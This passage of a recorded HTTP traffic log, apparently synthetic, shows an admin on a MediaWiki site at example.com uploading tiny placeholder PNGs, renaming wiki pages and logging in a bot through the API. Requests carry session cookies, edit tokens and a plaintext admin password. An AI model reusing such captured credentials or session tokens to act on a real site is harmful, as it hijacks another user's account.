"------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on powershell.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffdY\u0015\u0005\u0000\u0002f\u0001A\u0018\ufffd\ufffd\u0011\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_powershell.png\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on powershell\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n04df2036b25a874079015f228a4935836af2358b+\\\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryQIeCXSkQvVQPCIc8--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_powershell.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/6/64/Notes_on_powershell.png?_=20261109210516", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_powershell.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20ls%20-la.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1178", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjYhcLM0KCdNU1Yr", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794258316%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdcH\ufffd\u0002\u0000\u0002\ufffd\u0001K\ufffdT\ufffdF\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_ls_-la.png\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on ls -la\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n17308033f79e760cc2a6dd6065044caf6af2358c+\\\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryFjYhcLM0KCdNU1Yr--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_ls_-la.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/3/32/Notes_on_ls_-la.png?_=20261109210518", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_ls_-la.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20.htaccess.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1187", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeEXz4cjBllRc2Dm3", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794258318%23da3afb6e304edc637eb2dcecbe092657"], "body": "------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\u024b\u0002\u0000\u0002\ufffd\u0001U\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_.htaccess.png\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on .htaccess\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7621d6909750a29418bd130dc29d97d56af2358e+\\\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeEXz4cjBllRc2Dm3--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_.htaccess.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/images/d/d9/Notes_on_.htaccess.png?_=20261109210520", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/File:Notes_on_.htaccess.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Lighthouse_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-ooui%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.htmlform.ooui%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Coojs-ui-widgets.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=z4uar", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794258320%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Python3+notes&wpReasonList=other&wpReason=Notes+on+python3&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Lighthouse+notes&wpEditToken=d1ffba0f229e323bf8aa2617d291bac66af23590%2B%5C"}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:MovePage&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Python3_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 213", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Python3_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794258322%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Powershell+notes&wpReasonList=other&wpReason=Notes+on+powershell&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Python3+notes&wpEditToken=7f643ac1a17a39e1e0ff5df7159bf6cc6af23592%2B%5C"}
{"method": "GET", "target": "/index.php/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Powershell_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 208", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Powershell_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794258324%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=Ls+-la+notes&wpReasonList=other&wpReason=Notes+on+ls+-la&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Powershell+notes&wpEditToken=fe7f02b3136bec89a88a4937d9daf0ba6af23594%2B%5C"}
{"method": "GET", "target": "/index.php/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php/Special:MovePage/Ls_-la_notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Special:MovePage&action=submit", "headers": ["Host: example.com", "Content-Length: 210", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:MovePage/Ls_-la_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794258326%23da3afb6e304edc637eb2dcecbe092657"], "body": "wpNewTitleNs=0&wpNewTitleMain=.htaccess+notes&wpReasonList=other&wpReason=Notes+on+.htaccess&wpLeaveRedirect=1&wpMove=Move+page&wpOldTitle=Ls+-la+notes&wpEditToken=0e23055d6e423980b74345e15b657b976af23596%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&type=login&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 174", "Host: example.com", "Cookie: my_wiki_session=3srg8tikpo4r3r9bbl7t5g724a87ckd7", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=login&lgname=Admin&lgpassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&lgtoken=a8851fd2321f3fac2b6b2a6b4e4f60f46af23598%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&meta=tokens&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "Cookie: my_wiki_session=fcmd64a5hssainutb2ir8ft5hiil5q2k; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=e8f55601074a8ca6555367358cdeaec4", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
